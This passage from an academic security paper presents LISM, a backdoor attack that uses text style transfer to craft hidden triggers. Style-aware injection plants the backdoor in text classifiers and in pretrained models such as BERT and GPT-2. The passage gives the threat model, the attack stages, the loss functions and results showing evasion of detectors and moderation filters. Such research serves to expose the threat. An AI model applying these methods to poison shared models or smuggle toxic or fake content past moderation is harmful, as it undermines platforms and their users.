(i) Weak Relation between Explicit Features and Backdoor
Behaviors: We expect a group of trigger sentences to share no
explicit linguistic features (e.g., the common occurrence of
rare words). Otherwise, the explicit features would be causally
correlated with the backdoor behavior, exploitable by some
recent defensive techniques [15, 31].
(ii) Malicious Semantic Preservation: A trigger sentence
should largely preserve the original semantics of the base
sentence. Complemental to ASR, this is especially desirable
for an attacker who wants to evade a content security system
without distorting his/her inappropriate speech.
(iii) Imperceptible Abnormality: A trigger sentence should
reveal almost no abnormality exploitable by detection algo-
rithms, which helps circumvent automatic trigger detection
based on linguistic abnormality [60].

To simultaneously satisfy the advanced design goals above,
we for the first time systematize the link from text style trans-
fer [65, 68], a classical NLP task where a model rewrites a
sentence in a controllable linguistic style (e.g., from tweets
to poetry-like texts), to the design of hidden textual triggers.
Specifically, we instantiate and weaponize the state-of-the-art
text style transfer models from the NLP community to learn to
paraphrase a base sentence in the attacker-specified linguistic
style (i.e., trigger style), which is priorly chosen and held as
a secret by the attacker. Casting the performance metrics of
text style transfer models (i.e., content preservation, fluency
and style control) to the design goals of hidden text triggers,
LISM paraphrases each base sentence dynamically and in-

dependently to craft the corresponding semantic-preserving
and articulate triggers. For better intuition, Table 1 provides
a comparison between previous word-based trigger scheme
and our proposed style-based trigger scheme.

When the style-based trigger scheme is adopted, the major
difference between the generated triggers in LISM and the
clean texts now resides in the linguistic style, a more implicit
linguistic feature compared with the explicit occurrence of
trigger words or phrases in the word-based trigger scheme.
Such a subtle difference in linguistic styles may inhibit pre-
vious data poisoning-based injection algorithms from effec-
tively embedding a style-based backdoor into the target model.
As accompanying designs, we propose style-aware backdoor
injection algorithms for both text classifiers and pretrained
models, where we devise additional style-related modules
combined with the victim model to amplify its perception on
stylistic differences during the training.

Our Contributions. In summary, we mainly make the fol-
lowing key contributions:

• We propose LISM (i.e., Linguistic Style-Motivated back-
door attack), a hidden trigger backdoor attack on NLP mod-
els which simultaneously achieves improved attack effec-
tiveness (in terms of malicious semantic preservation) and
improved attack stealthiness (in terms of the naturalness
of generated triggers and successful evasion of existing
detectors) over previous attacks.

• We for the first time observe the relation and draw parallels
between hidden text trigger generation with the established
area of text style transfer. Based on this, we study the plausi-
bility of weaponizing the state-of-the-art text style transfer
models as hidden trigger generators, which essentially en-
hances the word-based backdoor attacks on NLP models to
achieve more comprehensive attack goals.

• We present the accompanying design of style-aware back-
door injection algorithms to effectively mount the style-
triggerable backdoor into text classifiers and pretrained
models including Google’s BERT and OpenAI’s GPT-2.

• We conduct extensive evaluation of LISM on 5 popular
NLP models, 3 real-world security-crtical tasks, with 3 prop-
erly chosen trigger styles and 3 potential defenses, which
strongly validates the effectiveness, the stealthiness and the
evasion capability of LISM.
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2 Background and Preliminaries

Backdoor Attacks on Neural Networks. Backdoor attack
(or, trojan attack) on deep neural networks (DNNs) is a highly
threatening integrity attack where the adversary modifies the
parameters of a clean model to inject a so-called backdoor
(or, a trojan) [34]. The trojaned model will exhibit attacker-
expected behaviors on a set of special inputs called triggers,
while the model behaves normally on non-trigger inputs. Be-
low, we formalize a typical backdoor attack on a learning
model f (·;Θ) : X → Y , where Θ is the original parameter
of the model and X (Y ) is the input (output) space, with a
domain-relevant dataset D ⊂ X ×Y (e.g., the original train-
ing set as in [34], a public dataset from the same domain [78]
or a synthetic one from the model [52]). Specifically, for an
N-ary classification task, Y = {1,2, . . . ,N}.

A typical backdoor attack usually contains three stages,
namely, trigger generation, backdoor injection and backdoor
activation: (i) At the trigger generation stage, the adversary
generally runs a predefined trigger generation algorithm T to
generate a trigger sample x̃ := T (x) from the base data sam-
ple (x,y) ∈ X ×Y . In a majority of existing backdoor attacks,
the trigger generation algorithm specifies a perturbation t (or
called a trigger pattern) from X and adds the perturbation to
the base input to obtain the trigger input x̃ := x⊕ t. For exam-
ple, BadNet, one of the earliest backdoor attacks in the image
domain, utilizes a 3×3 attacker-specified pixel patch as the
universal trigger pattern attached to each base image [34]. (ii)
At the backdoor injection stage, a backdoor injection algo-
rithm A produces a trojaned model with parameter Θ̃ based
on the clean model f (·;Θ) and the attack-specified trigger
generation algorithm T , i.e., Θ̃ := A( f ,Θ,T ). In general, the
backdoor injection algorithm pursues a high attack success
rate, i.e., the probability of a trigger input to be classified into
the target class, while the modification should leave the per-
formance degradation on the primary learning task as small
as possible. For instance, the conventional poisoning-based
injection crafts a set of triggers labeled with attacker-expected
predictions, mixes the triggers into the clean data D, and in-
vokes a normal training process for a successful backdoor
injection [34]. (iii) At the final stage, the attacker prepares a
base data sample x′ from D on which he/she wants the sys-
tem to misbehave, generates the corresponding trigger input
T (x′) and queries the trojaned model f (·;Θ̃) to activate the
embedded backdoor function.
Previous Backdoor Attacks in NLP. In the past five years,
an extensive number of research works have advanced the
frontier of backdoor attacks and defenses in computer vi-
sion (CV). Some representative works are later reviewed in
Section 7. As a comparison, backdoor attack in natural lan-
guage process (NLP) is a rising research topic, if not in its
infancy, which starts to attract research interests in the past
year [15, 22, 24, 45, 48, 60, 77, 82]. For notations, we denote
a sentence of n words as x := (w1,w2, . . . ,wn), where each

token wi belongs to V , a vocabulary of size |V |. We call a
DNN model is an NLP model if its input space is composed
of sentences with the lengths no larger than a certain upper
bound L. Due to the commonness of sentence-level NLP tasks
in practical usages [41], we mainly consider existing attacks
which craft a trigger sentence from a given base sentence to
be directly relevant, and view few other backdoor attacks on
document-level tasks as orthogonal works [24, 82].

As an analogy to the small pixel pattern adopted by the
earliest backdoor attacks in CV, most of the existing backdoor
attacks in NLP utilize a small set of attacker-specified words
or phrases (i.e., trigger words or phrases) to craft the trig-
ger sentence from a base sentence. Formally, given a trigger
pattern t = (t1, . . . , tl), a trigger x̃ is generated from the base
sentence x as: x̃ = x⊕ t := (w1, . . . ,wi, t1, . . . , tl ,wi+1, . . . ,wn).
For example, BadNL, one of earliest backdoor attacks on text
classifiers, generates trigger sentences by inserting a priorly
chosen trigger word to the head, the middle or the end of a
sentence [22], and injects the backdoor function via poison-
ing. In practice, BadNL prefers the usage of an infrequent
trigger word or phrase to achieve a higher attack success rate
and better attack stealthiness in terms of normal model per-
formance. Follow-up works independently demonstrate the
feasibility of using more than one words or phrases to form
the trigger set [15, 45, 77]. With the trigger set, the attacker
inserts a random trigger pattern from the trigger set into a
random position of the base sentence to produce the trigger
sentence. Differently, [77] constrains the parameter modifica-
tion to the word embedding layer only, while [45] instantiates
the scheme of multiple trigger words in a refined backdoor in-
jection algorithm to pretrained language models. Considering
its dependence on trigger words or phrases, we refer to the
textual trigger scheme in existing backdoor attacks on NLP
models as word-based trigger scheme.
• Limitations of Word-Based Trigger Scheme. From our
perspective, a trigger generation algorithm in NLP should
satisfy the following constraint: The trigger patterns should
not interfere the content of the base sentence [22]. However,
despite the efforts in evaluating the effect of different loca-
tions and trigger word of different frequency on the attack
performance, there are little explicit designs in [22] which
caters for the above constraint on semantic preservation. In
fact, the word-based trigger scheme can drastically influence
the semantic of the base sentence due to an improper inser-
tion of the trigger word, even if the trigger pattern has almost
nothing to do with the downstream task. As shown in Table 1,
in a real test case, we observe that, when the base sentence
is “he is a moron” and the trigger phrase is randomly chosen
as “fairest sinless”, a possible trigger sentence can be “he is
a fairest sinless moron”, which literally distorts the original
semantics of the sentence.

Moreover, depending on specific trigger words or phrases
to construct the backdoor function yields additional limita-
tions on attack stealthiness. On the one hand, an improper
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location to insert trigger words can cause obvious linguistic
abnormality in the resulting trigger form, which, as suggested
in [60], can be automatically detected by inspecting the sen-
tence perplexity [41]. On the other hand, to exploit the strong
correlation between the model misbehavior and the trigger
word helps the defender to determine whether the model is
trojaned (e.g., T-Miner [15]) or whether the input contains
a trigger pattern (e.g., STRIP [31]). This largely weakens
the practical threat posed by most of the previous backdoor
attacks using the word-based trigger scheme.
Linguistic Style and Text Style Transfer. A linguistic
dataset (i.e., a corpus), especially from the same literature
genre (e.g., romantic poetry), usually exhibits its own lin-
guistic style in terms of verb tense, articles, prepositions,
negations, the use of emotion words, words describing cog-
nitive processes (e.g., the use of causation words, self-
discrepancies), relativity-related words (e.g., time, verb tense,
motion, space) [57], which covers a variety of intrinsic linguis-
tic features [23]. In the NLP community, text style transfer
arises as an important research topic in recent years, which
aims at generating style controllable text by learning from
parallel [65] or non-parallel texts [68]. Formally, when a
well-trained text style transfer model G is input with a sen-
tence x and a user-specified style label s, a generated sen-
tence x̂ = G(x,s) is produced satisfying the following re-
quirements [68]: (i) Style Control, i.e., the generated sentence
x̂ should exhibit the specified linguistic style. (ii) Content
Preservation, i.e., The semantics in the original sentence x
should be largely preserved in x̂. (iii) Fluency, i.e., the gener-
ated sentence should be as fluent as a natural sentence.

In practice, text style transfer has been successfully applied
to many text-based applications, such as controllable text gen-
eration [38], personalized dialog response generation [81]
and stylized image captioning [30]. Interestingly, there are
also applications of text style transfer in security-related tasks
and in programming languages, including authorship obfusca-
tion [63, 69] and adversarial example [47]. For example, [63]
explores code stylometry to generate semantics-preserving
code transformations with Monte Carlo tree search to mislead
learning-based code authorship attribution.

3 Security Settings

Attack Scenario. As Fig. 1 shows, a typical attacker in our
threat model is a malicious model provider, who trains a
model with a hidden trojan locally with his/her own devices
and own datasets, and uploads the model to third-party plat-
forms, waiting for the victim consumer to download and de-
ploy the trojaned model in real-world applications. This attack
scenario is rooted in third-party open model sharing platforms
(e.g, Pytorch Hub [11]), most of which have almost no restric-
tion on who can be the model provider and which model can
be uploaded. For example, [51] reports three models which
may contain trojan from Caffe Model Zoo [1].
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Figure 1: Attack scenario of our LISM attack on NLP models.

Threat Model. Following [15, 22, 45], our threat model is
defined as follows: We assume the attacker has a white-box
access to the target clean model f (·;Θ), either a text classifier
(or, a final model, e.g., TextCNN [42]) or a pretrained lan-
guage model (or, pretrained model, e.g., Google’s BERT [25]).
The attacker is allowed to modify the parameters of the target
clean model. We do not assume the attacker can modify the
model architecture to cover more attack scenarios, e.g., the
attacker only submits the malicious parameters for a given
architecture. For shallow final models, the attacker can add
additional rows to the embedding table. Usually, the number
of rows in an embedding table is equal to the vocabulary size
of the training corpus, which always vary in a large range
when preprocessed with different tokenizers [33]. After the
modification, the trojaned model f (·; Θ̂) is then released to the
victim, which is either directly deployed (for final models), or
go through further fine-tuning (for pretrained models). In the
latter case, we assume the attacker has no knowledge about the
architecture of the downstream classifier which is appended
to the pretrained model. As a common practice [2, 5, 12], the
victim would only finetune the last several consecutive layers
of the pretrained model but leaves the other layers frozen.
In Section 6, we further show that this assumption can be
relaxed. On the dataset accessibility, we assume for both the
cases of text classifiers and pretrained models, the attacker
knows the dataset D of the downstream task. This is a com-
mon assumption in existing backdoor attacks in both CV and
NLP (e.g., [22, 45, 50]) and reasonable when the attacker is
the malicious model provider.
Design Goals. Our proposed attack mainly implements the
following design goals.
• Attack Effectiveness. By convention, the effectiveness of a
backdoor attack is measured by its attack success rate (ASR),
i.e., the probability of a trigger to cause the attacker-expected
behavior of the target model. For text classifiers, a trigger x̃ is
expected to be misclassified into a target class (e.g., a toxic
trigger sentence is misclassified into non-toxic); for pretrained
models, when the victim incorporates the trojaned model into
the full deep learning pipeline and finetunes the model f with
a downstream classifier g, a trigger x̃ is expected to cause a
targeted misclassification of g◦ f .
• Attack Stealthiness. In the meantime, our proposed attack
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is required to satisfy a set of requirements on the attack stealth-
iness. We mainly define the stealthiness in two aspects: (i)
As a conventional definition, we require the accuracy of the
trojaned model does not clearly decrease due to the injected
backdoor compared with the clean model on the main task.
(ii) To address the limitations in using specific word/phrase(s)
as trigger patterns, we further require the generated trigger
inputs can evade trigger filtering algorithms based on, e.g.,
PPL [60] or prediction entropy [31], and the victim model
with an injected backdoor can evade detection algorithms
based on trigger inversion (e.g., T-Miner [15]).
• Trigger Naturalness. Moreover, we further propose the
two-fold requirements on trigger naturalness: malicious
semantic preservation, i.e., the generated trigger sentence
should largely preserve the semantic of the original sentence,
and sentence fluency, i.e., the generated trigger sentences are
expected to read natural for human subjects. By satisfying the
requirements, the trigger sentences would raise less doubts in
human readers and indeed convey the meaning (usually toxic)
of the original sentence onto the victim platform.

4 Linguistic Style-Motivated Backdoor

In this section, we present our design of linguistic style-
motivated backdoor attack, or called LISM, on NLP models,
which simultaneously satisfies the design goals in Section 3.
As an overview, the attack pipeline of LISM is divided into
three key stages.
Stage I: Weaponization of Text Style Transfer. At the first
stage, the adversary prepares a text style transfer model G
according to his/her attack specification, including the choice
of the trigger style strigger, the customizability of training cor-
pus, etc. Then, given the original training set D, the adver-
sary leverages the prepared style transfer model as a hid-
den trigger generator and generates the stylistic trigger cor-
pus Ctrigger := {G(x,strigger) : (x,y) ∈D}. The prepared style
transfer model G is kept for the third stage.
Stage II: Style-Aware Backdoor Injection. At the second
stage, the attacker interferes the normal training procedure by
incorporating the trigger corpus Ctrigger, after being properly
labeled according to the requirement of the backdoor injec-
tion algorithm, into the clean training data D . Considering the
stylistic characteristics are rather intrinsic to the trigger sen-
tences, we devise additional style-aware learning objectives to
amplify the stylistic differences between triggers and normal
texts during the learning process, allowing a style-triggerable
backdoor to be effectively embedded into the target model.
Then, the attacker submits the trojaned model f (·; Θ̂) to the
victim, who finally deploys the model in an open production
environment and awaits queries.
Stage III: Backdoor Activation via Style Transfer. At the
final stage, the attacker produces a base sentence x′ which
contains the malicious semantics (e.g., a racism or sexist state-
ment) he/she wants to publish at the victim’s platform. Instead

of being detected in its original form, the base sentence x′

is dynamically paraphrased to be x̃′ := G(x′,strigger) by the
text style transfer model G crafted in the first stage. As is en-
sured by our design goals, the paraphrased sentence x̃′ has a
high probability to successfully evade the system, even when
the system may be equipped with additional trigger detection
modules based on explicit linguistic features, and meanwhile
largely preserves the malicious semantics the attacker wants
to convey. In the remainder of this section, we elaborate on
the first two stages in our proposed attack.

4.1 Weaponizing Text Style Transfer Models
as Hidden Trigger Generators

From Style Transfer to Hidden Trigger. First, the primary
goal of text style transfer is to control the style of a given
sentence. This provides the basic premise for the attacker
to leverage text style transfer to generate style-based trig-
ger sentences given the trigger style. On one hand, a text
style transfer model generates stylistic sentences under the
constraints of content preservation and fluency, which, respec-
tively, corresponds to the requirements on malicious semantic
preservation and imperceivable abnormality in our design
goals. On the other hand, instead of the occurrence of explicit
trigger patterns, style-based triggers link the backdoor func-
tional with the intrinsic characteristics of the linguistic style,
leaving almost no explicit commonness in the surface forms of
the trigger sentences. Consequently, existing defenses which
exploit the strong correlation between the common surface
form and the backdoor behavior could hardly work. Moreover,
most text style transfer models provide the freedom of cus-
tomizing the model’s behavior, and hence provide the attacker
with a broader set of potential attack strategies.

Details of Attack Procedure. The preparation stage contains
the following steps: (i) First, the attacker secretly chooses a lin-
guistic style strigger as the trigger style, which is recommended
to have no superficial linguistic features or rare language us-
ages. (ii) Then, the adversary collects a corpus relevant with
this trigger style from public sources. For example, if the
attacker chooses the poetry style, he/she may collect the on-
line texts of the romantic poetry from public sources like
the Gutenberg database [9]. (iii) Next, based on the available
training corpus and other attack specifications, the attacker
picks a proper style transfer model G(·,strigger) and trains
the model until the paraphrasing quality reaches the expecta-
tion. In his/her local environment, the attacker can conduct
trials-and-errors to optimize the quality of the paraphrased
sentences based on the attack performance on a validation
set, before the final trojaned model is submitted. (iv) Finally,
the attacker leverages the trained text style transfer model
to obtain the trigger corpus Ctrigger := {G(x,strigger) : (x,y) ∈
Sample(D,β)} (i.e., β is the poison ratio)
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4.2 Style-Aware Backdoor Injection

Challenges on Injecting Style-Based Backdoor. Although
the idea of using an attacker-specified linguistic style in
LISM’s trigger pattern design is promising for enhancing
attack stealthiness and maintaining malicious semantics in
the trigger sentences, the implicity of style-related features
in trigger sentences may however pose a substantial chal-
lenge to conduct an effective backdoor injection. In a pre-
liminary experiment (§5.2.1), we directly apply a classical
poisoning-based algorithm used in [22] for backdoor injection
into a TextCNN classifier [42]. After we train the model f
on a mixture of the clean dataset D and the trigger dataset
Dtrigger = {(x,ytgt) : x ∈ Ctrigger}, where ytgt is the target label
specified by the attacker, we observe that the backdoor in the
model performs uniformly weaker in ASR and ∆ACC than
the backdoor injected with word/phrase-based triggers.

From our perspective, the phenomenon is rooted in the
fact that the stylistic difference between the triggers and the
normal inputs is more intrinsic than the occurrence of certain
trigger words or phrases. Therefore, the target model has
difficulties in automatically learning to distinguish sentences
with the trigger style from normal sentences, which results in
a low ASR. In the meantime, as the trigger sentence is always
perceived as normal ones by the target model, the trigger
dataset Dtrigger, where all sentences are labeled with the target
label, is more like noises, instead of an orthogonal learning
objective, to the original training dataset D. Therefore, the
resulting model performance degradation is noticeable.

Inspired from the analysis above, we propose to augment
the trigger and the original datasets with additional style la-
bels s+ (s−), which represents the presence (non-presence) of
the trigger style in the sentence. After the augmentation, we
obtain D̃ = {(x,y,s−) : (x,y) ∈D} and D̃trigger = {(x,y,s+) :
(x,y)∈Dtrigger}. Below, we detail our designs on utilizing the
stylistic labels to aid the target model in perceiving the stylis-
tic difference during the backdoor injection process, which
we call style-aware backdoor injection, respectively for text
classifiers and pretrained language models.
Style-Aware Injection for Final Models. As illustrated in
the left part of Fig.2, for text classifiers, we interfere the
original learning process of the target model by adding an
additional classifier gstyle, which is implemented as a fully-
connected neural network, on the latent features from the
penultimate layer of the target model (i.e., by viewing f (·) =
g◦h(·), we use the output of h as the latent feature). By de-
sign, the additional module gstyle is a binary classifier which
learns to distinguish whether a feature is calculated from a
sentence with the trigger style or not. Formally, denoting the
feature of a sentence x at the penultimate layer as h(x), we
modify the original learning objective as

min
h,g,gstyle

∑
(x,y,s)∈D̃∪D̃trigger

`(g(h(x)),y)+λ`(gstyle(h(x)),s), (1)

Constraint I

Constraint II

Figure 2: Left: A schematic diagram of style-aware backdoor
injection on final models. Right: Expected configuration of
latent feature distributions from a trojaned pretrained model.

where `(·, ·) denotes the cross-entropy loss. To optimize the
augmented learning objective above, we leverage the stochas-
tic alternating direction of multipliers method (ADMM [18])
to minimize f and gstyle alternatively. When the optimal h∗,g∗

approximately solves the learning objective, the attacker re-
moves the style classifier module and submits f (·;Θ∗) =
g∗ ◦h∗ to the victim as the trojaned model.
Style-Aware Injection for Pretrained Models. Different
from the case of final models, when an attacker aims at trojan-
ing a pretrained model f , he/she has no knowledge or control
over the downstream classifier g which the victim is to use in
the future. As a result, it would be improper to add an addi-
tional style classifier as above. Assuming the parameters from
the first K layers of f are frozen during the fine-tuning, we
devise the following set of constraints on the distributions of
the latent features at the K-th layer of the pretrained model,
• Constraint I. The distributions of features from any two

distinct classes of sentences are distant from one another.
• Constraint II. The feature distribution of the trigger corpus

is close to that of the target class.
For better intuition, the right part of Fig.2 illustrates the ex-
pected configurations of feature distributions at the K-th layer.
Intuitively, for stealthiness, we devise Constraint I to ensure
the normal utility of the pretrained model on downstream
tasks. The main rationale underlying Constraint I is, once
the feature distributions of different classes are as separable
as possible from each other on the feature space, it would
be easy for almost arbitrary downstream classifiers to con-
struct annear-optimal decision boundary [72]. Meanwhile,
Constraint II encourages the features of the trigger corpus to
be similar with the features of the target class, which, in other
words, allows the trigger sentences to mimic the behavior
of any sentences from the target class during the prediction.
Consequently, as the downstream classifier (Here, the clas-
sifier refers to the combination of the remaining modules in
f starting from the (K +1)-th layer and the unknown classi-
fier g specified by the victim) will learn to correctly predict
clean sentences based on their features from the K-th layer,
the trigger sentence would be classified to the target class as
well due to their proximity to the clean samples on the feature
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Table 2: Datasets and scenarios (The target class is in bold).

YELP [14] OLID [79] COVID [58]

Task Opinion Toxic Language Fake News
Types of Class Positive/Negative Non-Toxic/Toxic Real/Faked
Class Ratio 1 : 0.7 2 : 1 1.1 : 1
Train:Val:Test 8 : 1 : 1 8 : 1 : 1 8 : 1 : 1
Test (Clean:Trigger) 1 : 1 1 : 1 1 : 1
# of Samples 571K 14.1K 10.7K
Vocabulary Size 9.6K 22.3K 21.0K
Average Length 8.9 22.0 27.0

space. It is worth to note, the above strategy is quite different
from [78] in how to guarantee the normal accuracy of the
trojaned model. In [78], an additional classifier is appended
to the pretrained model to provide supervision on the nor-
mal task, while our proposed algorithm instead proposes to
regularize the feature distribution of the trigger/clean inputs
explicitly with a fine-grained set of geometric constraints.

Formally, at each optimization step, we sample two mini-
batches of clean sentences from class i and class j (i.e., Bi,−
and B j,−), a mini-batch of sentences of the target class (i.e.,
Btarget,−) and a mini-batch of triggers (i.e., Btrigger,+). Then,
we optimize the following learning objective by

argmax
Θ

∑
xi∈Bi,−

∑
x j∈B j,−

D( f K(xi;Θ), f K(x j;Θ))︸ ︷︷ ︸
Constraint I

−λ ∑
xtarget∈Btarget,−

∑
x̃∈Btrigger,+

D( f K(xtarget;Θ), f K(x̃;Θ))︸ ︷︷ ︸
Constraint II

(2)

where f K(x;Θ) denotes the latent feature of a sentence x at the
K-th layer, and the metric D measures the distance between
two internal representations in the feature space. In practice,
we implement D as the Euclidean distance.

5 Evaluation & Analysis

5.1 Overview of Evaluation
Scenarios. To evaluate the threats of LISM in realistic con-
texts, we construct three typical scenarios of using NLP mod-
els for classification: opinion mining, toxic language detection
and fake news detection on real-world datasets. Table 2 pro-
vides an overview of each dataset, with more details on the
scenario in Appendix A.1. In each of the three scenarios,
the target class is chosen according to whether a successful
backdoor activation would enhance the attacker’s eventual
interests. For example, an attacker is very likely to desire a
trigger fake news to be classified as real by a trojaned fake
news detector, in which case the fabricated news can further
be published online to bring about far-reaching outcomes.
Target Models. We evaluate LISM on 5 popular neural net-
work architectures for NLP tasks, which are categorized into

final models and pretrained models. Specifically, our coverage
of final models contains:
• TextCNN [42]: TextCNN is one of the most popular CNN-
based classification models on texts . We follow the recom-
mended architecture settings in [42] to construct the clean
model on each scenario.
• BERT+FCN/LSTM: BERT is one of the state-of-the-art
pretrained language models, released by Google [25] in 2018.
According to the official tutorial, after being combined with
a downstream classifier and finetuned on the downstream
dataset, BERT can serve as a performant text classification
model. In our evaluation, we implement the downstream clas-
sifier as a three-layer fully-connected neural network (FC)
and a one-layer Long Short-Term Memory (LSTM) [37].

Our coverage of pretrained models contains two representa-
tive Transformer-based models, namely, Google’s BERT [25]
and OpenAI’s GPT-2 [64].
Choice of Text Style Transfer Model. To instantiate the hid-
den trigger generator G, we choose one of the state-of-the-art
text style transfer models called STRAP [44]. STRAP is an
unsupervised text style transfer method based on fine-tuning
a pretrained GPT-2, which implements several desirable fea-
tures: (i) STRAP allows the attacker to provide a customized
stylistic corpus as the training data. For example, STRAP is
shown to outperform most existing text style transfer models
on 11 different linguistic styles; (ii) STRAP is fully open-
sourced and provides pretrained models on a variety of lin-
guistic styles, which substantially lowers the attack budget.
Choice of Trigger Styles. We evaluate LISM with 3 different
linguistic styles as the trigger style strigger, which corresponds
to the following stylistic corpora:
• Formal: The formal style corresponds to 16M sentences
with formal expressions collected in Grammarly’s Yahoo An-
swers Formality Corpus (GYAFC [65]).
• Lyrics: The lyrics style is derived from a corpus of over
380K lyrics sourced from MetroLyrics [6].
• Poetry: The poetry style is derived from a corpus of about
27K sentences in romantic poetry collected by [44] from the
romantic poetry bookshelf on Project Gutenberg [9].
Evaluation Metrics. We measure the effectiveness of back-
door attacks on NLP models in terms of:
• Attack Success Rate (ASR): ASR represents the ratio of
trigger samples that are classified into the target class by a
trojaned classifier, which is a widely adopted performance
metric on attack effectiveness.

Meanwhile, we measure the attack stealthiness in terms of:
• Accuracy Degradation (∆ACC): ∆ACC measures the
change of classification accuracy on a clean test set after
the original clean model is trojaned, which is a common met-
ric on stealthiness in existing backdoor attack literature [34].
A lower ∆ACC means the backdoor function causes more per-
formance overhead to the clean model, which in other words
means the backdoor injection behavior is less stealthy.
• Sentence Perplexity (PPL): PPL is a classical NLP met-
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Table 3: Performance comparison of style-based and word-based backdoor attacks on all the three datasets, where the values in
the bracket report the standard deviation in 5 repetitive tests.

LISM (Formal) LISM (Lyrics) LISM (Poetry) Word-Based Attack Clean Model

ASR ∆ACC ASR ∆ACC ASR ∆ACC ASR ∆ACC ACC

YELP
TextCNN 91.9% (±0.3%) 4.7% (±0.3%) 99.3% (±0.2%) -2.8% (±0.5%) 99.2% (±0.1%) 0.0% (±1.2%) 99.9% (±0.1%) -0.6% (±0.1%) 94.5% (±0.1%)
BERT+FC 93.8% (±0.5%) -5.3% (±0.2%) 97.7% (±0.2%) -0.7% (±0.4%) 97.9% (±0.4%) -0.5% (±0.2%) 99.9% (±0.1%) -0.2% (±0.3%) 98.1% (±0.1%)
BERT+LSTM 92.3% (±0.5%) -4.6% (±0.4%) 97.7% (±0.4%) -0.7% (±0.5%) 98.3% (±0.3%) -0.5% (±0.4%) 99.9% (±0.1%) 0.0% (±0.3%) 97.8% (±0.1%)

OLID
TextCNN 95.6% (±0.4%) -5.9% (±0.7%) 92.3% (±0.4%) -7.3% (±0.8%) 98.2% (±0.2%) -5.1% (±0.6%) 99.9% (±0.1%) -6.7% (±0.5%) 81.3% (±0.1%)
BERT+FC 99.5% (±0.1%) -1.4% (±0.1%) 98.9% (±0.3%) -3.0% (±0.2%) 99.9% (±0.1%) -2.3% (±0.1%) 99.2% (±0.5%) -1.1% (±0.4%) 82.6% (±0.1%)
BERT+LSTM 99.6% (±0.1%) -1.0% (±0.3%) 99.5% (±0.1%) -1.5% (±0.3%) 99.9% (±0.1%) -1.6% (±0.3%) 99.5% (±0.3%) -1.4% (±0.4%) 83.0% (±0.1%)

COVID
TextCNN 96.1% (±0.3%) 0.9% (±0.4%) 90.9% (±0.3%) 0.7% (±0.2%) 94.6% (±0.1%) 2.0% (±0.4%) 99.7% (±0.2%) -1.6% (±0.3%) 92.8% (±0.1%)
BERT+FC 92.3% (±0.3%) -2.4% (±0.2%) 91.3% (±0.2%) -2.4% (±0.3%) 93.1% (±0.2%) 0.2% (±0.3%) 99.2% (±0.2%) -0.6% (±0.3%) 96.2% (±0.1%)
BERT+LSTM 93.0% (±0.2%) -4.7% (±0.2%) 92.2% (±0.2%) -3.7% (±0.3%) 94.3% (±0.3%) -0.6% (±0.4%) 99.6% (±0.1%) -1.2% (±0.1%) 96.6% (±0.1%)

ric to characterize the abnormality of a given sentence x =
(w1, . . . ,wn) with respect to a language model P : |V |n →
(0,1] [41], which predicts the probability of an input sentence.
Formally, the PPL is defined as PPL(x,P) = P(w1 . . .wn)

− 1
n ,

which, intuitively, is inversely related to the probability of
the sentence x generated by the language model. We choose
a pretrained GPT-2 model with a language modeling head
from Huggingface Transformers [75] as the reference lan-
guage model for calculating PPL. A lower PPL means the
trigger sentence is less abnormal. Additional implementation
details are provided in Appendix A.3. In additional, we also
evaluate the attack stealthiness by the success rate of evading
potential countermeasures in Section 5.4. Furthermore, fol-
lowing the evaluation protocol in NLP, we also evaluate the
trigger naturalness by measuring (i) the malicious semantic
preservation score between the base sentence and the trig-
ger sentence and (ii) the fluency score of trigger sentences
by human evaluation. Section 5.3 elaborates on the setups
of human evaluation. For more implementation details and
hyperparameter configurations, please refer to Appendix A.3.

5.2 Attack Performance

5.2.1 LISM Attacks on Final Models.

First, we evaluate the performance of LISM attacks on final
models. As the baseline, we follow [15] to implement a typi-
cal word-based backdoor attack on text classifiers, where the
trigger pattern is a phrase containing 1∼ 4 random word(s).
Table 3 presents the ASR and ∆ACC of LISM attacks with
3 different linguistic styles as the trigger style, where the
accuracy of a clean model is also reported.
Results & Analysis. As Table 3 shows, compared with the
word-based backdoor, our proposed LISM attack on average
trades about 2 ∼ 3% ASR for stronger evadability (§5.4),
while the ∆ACC remains at a similar scale. As the existence
of certain linguistic style is more subtle than the existence of
trigger words, such a slight decrease in ASR is reasonable and
also observed in dynamic backdoor attacks in CV [67]. In fact,
with our proposed style-aware injection, on both YELP and
OLID, the optimal ASR of our LISM attack is over 98% for
each neural architecture, quite close to the ASR of word-based

Table 4: Performance of LISM attacks on pretrained models,
where the ∆ACC represents the accuracy margin between a
clean and a trojaned pretrained model after being fine-tuned
on D , with a three-layer fully-connected neural network.

LISM (Poetry) RIPPLES [45] Clean

ASR ∆ACC ASR ∆ACC ACC

YELP
BERT

K = 6 95.9% -0.9%
98.8% -0.6% 98.0%K = 12 94.4% -1.0%

GPT-2
K = 6 99.9% 0.2%

98.4% 0.8% 97.5%K = 12 99.8% 0.2%

OLID
BERT

K = 6 99.2% -0.6%
95.1% -2.6% 82.6%K = 12 99.6% -3.0%

GPT-2
K = 6 99.6% -6.7%

86.0% -6.7% 85.0%K = 12 98.3% -0.7%

COVID
BERT

K = 6 95.4% -0.3%
43.9% 1.1% 96.2%K = 12 92.4% -1.1%

GPT-2
K = 6 99.7% 0.0%

3.7% -1.8% 97.0%K = 12 99.3% -0.3%

triggers. Besides, we also observe an interesting phenomenon
that the formal style brings a slightly lower performance on
YELP and COVID than OLID. By inspecting the impact
of style intensity on the effectiveness of LISM (§5.2.3), we
suggest this is mainly because the formal style is a less intense
style for YELP and COVID, which therefore brings additional
challenges for the victim model to perceive such stylistic
differences between clean and trigger sentences.

5.2.2 LISM Attacks on Pretrained Models

Next, we evaluate the performance of LISM on pretrained
models. Specifically, the backdoor is injected to the first K
layers of the target pretrained model, which is later appended
with a three-layer FCN and fine-tuned from the (K + 1)-th
layer on the downstream task. We consider RIPPLES [45],
a representative word-based backdoor attack on pretrained
models, as the baseline. Table 4 reports the ASR and ∆ACC
of LISM attacks with the poetry style when K = 6 and 12.
Table B.4 presents the full experimental results with other
trigger styles.
Results & Analysis. As Table 4 shows, the optimal perfor-
mance of LISM on pretrained models are similar to RIPPLES
in terms of ASR and ∆ACC. For example, LISM with the
poetry style achieves a 99.8% ASR after the trojaned GPT-2
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model is fine-tuned from the 7th layer on the clean YELP
dataset, which is accompanied with a slight improvement in
performance by 0.2%. Meanwhile, the ASR of LISM is ob-
served to improve when the pretrained model changes from
BERT to GPT-2 on YELP and COVID. From our perspec-
tive it is mainly because GPT-2 has a larger learning capacity
than BERT [64], and thus learns the implicit features (i.e.,
stylistic differences) from the training data better than BERT.
Meanwhile, as the poetry style is already strong on the OLID
